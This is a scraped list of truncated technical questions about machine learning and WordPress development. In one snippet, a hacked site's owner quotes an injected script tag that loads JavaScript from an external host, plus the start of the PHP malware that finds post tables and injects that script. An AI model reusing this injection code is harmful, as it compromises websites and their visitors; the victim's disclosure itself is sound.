Fundamentally, under what circumstance is it reasonable to do HPO only on a subsample of the training set? I am using Population Based Training to optimise hparameters for a sequence model. My dataset consists of 20M sequences and was wondering if it would make sense to optimise on a subsample due to restricted budget.
I'm using a ResNet50 model pretrained on ImageNet, to do transfer learning, fitting an image classification task. The easy way of doing this is simply freezing the conv layers (or really all layers except the final fully connected layer), however I came across a paper where the authors mention that batch normalisation layers should be fine tuned when fitting the new model: Few layers such as Batch Normalization (BN) layers shouldn’t be froze because, the mean and variance of the …
I'm very new to wp let's say that first! What I need is to create a site which will list a database of members of an organisation. Users will also be able to sign-up and add themselves to the database. But additionally I want users to be able to search for other users using given criteria check boxes, for example: Is male [ ] Is female [ ] Lives in city x [ ] Lives in city y [ ] …
I hope you can help guide me in the right direction! Any advice is appreciated! Situation I'm currently analyzing the effect of a price increase from a retailer on a few 100 products. I'm interested in understanding the effect of the price increase on volume, sales value, and margin. The data I have available is weekly product-level data in terms of sales value, volume, and margin for products that had a price increase and for products that did not have …
So i am training a reinforcement learning agent. It is fed in its position, and the target positions using x,y coordinates. An example input would be like [[1,3],[2,2],[5,1]]. I thought that since if i just fed in the input with a flatten layer (would be 1,3,2,2,5,1), there would not be a strong enough association between each coordinate pair. Because of this, i used a 1d convolution layer with 5 filters, and a step and size of 2, which i hoped …
site been hacked, and all posts been injected a line of js code under the content! <script src='https://js.xxxxxxx.ga/stat.js?n=ns1' type='text/javascript'></script> I have found the malware file in the root directory, which inject the JS code with the command: $q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'"; $result = $conn->query($q); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { $q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." LIMIT 1 "; $result2 = $conn->query($q2); if ($result2->num_rows > 0) …
I am a beginner in "deep learning". What I am trying to do, is to predict two angles of a 3D line projected on a 2D image. The toy model is that I create a line going out from the centre of 48x48 array. The angle phi is the angle of the line in the image plane, angle theta is the angle of the line in the plane perpendicular to the image. Theta is just used to calculate each line …
I have a text file with 100 + names, I need to import this as an attribute into WooCommerce. I’ve been searching all over for an answer but can’t figure it out. I've tried some plugins but they don't work. How can this be done? Thanks!
I have moved WordPress files & database from localhost to live server successfully. However, now when I try to move it back to localhost the links doesn't work, although they should. I am using root-relative links in my hrefs as in: href="/about-us" I am using the plugin All in One WP Migration. Have tried the following: Multiple .wpress backup files from the plugin, Reinstalled XAMPP, Several different database names for local WP installation, Severeal different usernames for local WP installation, …
Example: If I have a parent category 1 with child categories 2,3,4 etc instead of a call like this: /wp/v2/posts?categories=1,2,3,4 i want a call like this (imaging code) /wp/v2/posts?categories=1&includeallchilds=true that will include all articles from the child and sub-child of 1. how is this possible? I don't want my application make 2 api calls to find all childs of the categories of 1.. this query can done what i need, but i cant include this on rest api call, $args …
Wordpress compresses jpeg files to a lvl 82 quality. Should I upload my files in 100 quality to avoid double compression? Or will Wordpress know the file is already compressed and will skip this process? I usually save my files in photoshop in 80 quality , as progressive. Thank you
In Gradient Descent, we start with a random value of the co-efficient & improve upon it with each iteration. Do we move on to the next co-efficient after finding the first one, or do we work on all the coefficients simultaneously?
I need a hook or some way to detect when the window to select the file to upload is opened. I'm talking about the window that opens the browser to select the local files to upload. Context: On occasions, WordPress itself or some plugins directly open a window to select the local file to upload, without going through the WordPress library. I have a plugin that gives a custom path when uploading files and I need to launch a popup …
A closed-form solution of MLE exists when the parameter space is convex & the likelihood function is concave. I did not understand this statement very well. I know what 'Convex' is- a single global minimum & 'Concave' is the opposite. What does it mean when a parameter space is 'Convex'? Parameter space refers to the range of possible values a set of parameters can take. Do Convex & Concave refer to the minimum & maximum values of the parameter space?
I need to be able to write custom fields in Power BI but the values of the fields change based off of company. For example, Twitter vs Instagram - field 1 for Twitter should show company name and field 1 for Instagram should show company revenue. So not only does the field change but the value of the field changes too. I have an excel sheet that lists around 30 custom fields for 2 different companies so I was wondering …
I'm trying to remove a widget area called 'Primary' from a certain page on a site. This is the function where I manage the sidebars: //ADD CATEGORIES IN SIDEBAR OF SINGLE POST TYPE add_action( 'genesis_sidebar', 'add_mysite_sidebar' ); function add_mysite_sidebar() { if( get_post_type() == 'post' ){ dynamic_sidebar( 'News Categories' ); } else if( get_post_type() == 'events' ){ dynamic_sidebar( 'Event Categories' ); } else if( get_post_type() == 'documentlibrary' ){ dynamic_sidebar( 'Document Categories' ); } else if( get_post_type() == 'bp_members' ){ include(members_sidebar.php); unregister_sidebar( …
I am running an LSTM neural network in R using the keras package, in an attempt to do time series prediction of Bitcoin. The issue I'm running into is that while my predicted values seem to be reasonable, for some reason, they are "lagging" or "behind" the true values. Right below is some of my code, and farther down I have some graphs to show you what I mean. My model code: batch_size = 2 model <- keras_model_sequential() model%>% layer_lstm(units=22, …
We generally keep our custom theme in non-auto-update mode and one core WP theme in auto-update mode as an emergency backup as our only 2 themes in the wp-content/themes directory. If we had twentytwenty installed when we launched the site in 2020, that's sufficient for our purposes - we don't need twentytwentyone and twentytwentytwo, etc. It's annoying to have to delete these manually after WP updates add them. Is there any way to block that from happening?
Suppose to have a set of elements $X = \{x_1, x_2, ..., x_n\}$. Each element is characterised by a set of features. The features characterising a particular element $x_i$ can belong to one of $q$ different categories. Each different category $f_q$ can have a different value $v_{q_i}$, belonging to a set of possible values $V_q = \{v_{q_1}, v_{q_2} ...\}$. So, an observation $x_i$ may be described as $x_i = \{f_{q_1} = v_{{q_1}_i}, f_{q_1} = v_{{q_1}_j}, ... f_{q_i} = v_{{q_i}_i}\}$. In …
When registering options in WordPress, you are required to supply a "settings group name" along with the name of the option itself. register_setting( string $option_group, string $option_name, array $args = array() ) Given, register_setting($my_settings_group, $my_option_name1); register_setting($my_settings_group, $my_option_name2); register_setting($my_settings_group, $my_option_name3); Is it possible to then get a list of all options for the specified custom settings group? For example, something appropriate to the pseudocode... get_settings_group_options($my_settings_group); which would return either an array of option names, or option names and corresponding option values. …
I have a forum system where I created a custom post type, and I would like to have a search system for the topics, but I do not know what the structure would be, for example, how the file will be and the search form action.
I have a set of curves in 2D space each expressed as a set of (sampled) data points. Each set has more or less the same number of items - eventually I guess I’ll use binning to make sure the number of points is the same (say 50) if that can help. I would like to cluster the curves in N groups. Computing N should be part of the solution. Possible translations on the first dimension are irrelevant. I have …
MLOPs has been gaining traction and a lot of fortune 500 companies are creating team specifically for MLOPs.Can anyone help me understand? Why MLOPs is gaining so much traction? How it is different from DevOps? What are the tools used for MLOPs? How can i create a strategy for MLOPs? How to get started?
I'm using an imported css instead of one from WP. I also didn't upload the site myself. I want to change the look of the colours of the nav compartment to different colours. I can't do this with css, but with HTML, since I went to change each button to a different colour from the other. Please, how can I do this in the WP environment? Thanks immensely.
I'm trying to enable the responsive mode in Slider Revolution to check my layout in mobile/tablet devices however when I switch the toggle on and click on the device name, nothing changes. I was expecting to see the layout on those devices but nothing happens. Image for reference https://prnt.sc/u6l371 Can someone please clarify why it's not working? Extra info: I tried to install a fresh new wordpress with just Slider Revolution plugin installed and default theme but didn't work out …
I would like to build a simple sentiment analysis classifier using logistic regression. I downloaded a list of positive and negative words from cs.uic.edu. There are more than 6000 words both positive and negative. Linear Classifier has the form: (Wikipedia Reference) $$\sum wj*xj$$ where $w$ is the weight of the vector $x$. So for example, if the weight of vector awesome is 3, then in the following sentence: Food is awesome and music is awesome. according to the formula, it …
The datasets I am working with correspond to individual time series signals. Each signal is unique, with differing total number of data points. here I want to simulate dataset A using dataset B. dataset A: dataset B ： Spliting Dataset Code: x = SmartInsole[:,0:178] y = Avg[:,0] y = y.reshape(-1,1) scaler_x = MinMaxScaler() scaler_y = MinMaxScaler() scaler_x.fit(x) xscale = scaler_x.transform(x) scaler_y.fit(y) yscale = scaler_y.transform(y) X_train, X_test, y_train, y_test = train_test_split(xscale, yscale, test_size=0.25, random_state=2) The dataset after splitting and normalized: [0.83974359 …
Kinda stuck here working with AJAX and trying to show posts based on user interaction. Right now I have it working where user makes a category dropdown selection and the posts load accordingly. What I would like to do is take it one step further and populate another drop-down with subcategories based on the parent category that was selected. View the site here. jQuery $('#ajaxFilter select').on('change', function(event) { if(event.preventDefault) { event.preventDefault(); } $this = $(this); $value = this.value; $page = …
I am trying to implement a binarized neural network using keras and tensorflow. Here is my current code: import tensorflow as tf from tensorflow import keras from keras import datasets from keras.utils.vis_utils import plot_model from keras.layers import Activation from keras import backend as K from keras.utils.generic_utils import get_custom_objects def sign(x): result = K.sign(x) return result get_custom_objects().update({'custom_activation': Activation(sign)}) digit_data = datasets.mnist (train_images, train_labels), (test_images, test_labels) = digit_data.load_data() # import matplotlib.pyplot as plt # plt.imshow(train_images[0]) # print(train_labels[0]) # print(train_images[0]) model = keras.Sequential([ …
I'm performing multi-class classification and uses SHAP values to interpret the features. I have 3 classes. I have testet XGBoost and Multinomial Logistic Regression. When i'm using XGBoost I am able to get a summary plot where I can see the individual feature affect on all three classes. I'm also able to get a seperate plot for each class to see how small/large feature values affect the prediction towards the individual class. It seems like this is only possible to …
I have extracted a column from a dataset that contains Date type of values: +-------------------+ | Created_datetime | +-------------------+ |2019-10-12 17:09:18| |2019-12-03 07:02:07| |2020-01-16 23:10:08| The Type of the column being StringType in Spark. And i want to compute the average of these dates, for example in the above case will be 2019-12-03 07:02:07 since it is the median date of the three dates. How to achieve that in Spark in Java? I tried using dataset.select(org.apache.spark.sql.functions.avg(dataset.col("Created_datetime").cast("timestamp"))).first().getDouble(0) But as it is …
I am trying to train my discriminator network using Keras with the TensorFlow backend. The network is meant to classify the input into one of the 9 output labels. I am passing a 2D input (height, width, no channels) and a one-hot vector for the output. I was able to train the network independently using fit(). However, now that I have switched to train_on_batch, it is giving me the error mentioned. This is my discriminator code: def build_discriminator(time_steps, feature_size, input_spectrogram=None): …
Basically that, I have domain.com/ but if I visit domain.com// or with more slashes I would like to remove the extra ones and just leave one of them. I found this but it's not working, I added on the .htaccess file. <IfModule mod_rewrite.c> RewriteBase / RewriteCond %{REQUEST_URI} ^(.*)/{2,}(.*)$ RewriteRule (.*) %1/%2 [R=301,L] </IfModule> Keep in mind I used the homepage as an example, but it can happen on any page, adding extra slashes doesn't break the page but I need …
I have this code: @font-face { font-family: 'Miller Banner Light'; src: url('fonts/Miller-Banner-Light-01.eot'); /* IE9 Compat Modes */ src: url('fonts/Miller-Banner-Light-01.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */ url('fonts/Miller-Banner-Light-01.woff') format('woff'), /* Pretty Modern Browsers */ url('fonts/Miller-Banner-Light-01.ttf') format('truetype') /* Safari, Android, iOS */ } Which in theory allows to add these fonts to my theme, unfortunately, simply creating the fonts folder and putting in the files doesn't work. I read about having to create a child-theme but is that the only way?
Let's say I have a deep neural network with 50 hidden layers and at each neuron of hidden layer the ReLu activation function is used. My question is Is it possible for vanishing gradient problem to get occur during the backpropogation for weights updates even after the existence of relu? or we can say that vanishing gradient problem will never occur when all the activation functions are ReLu?"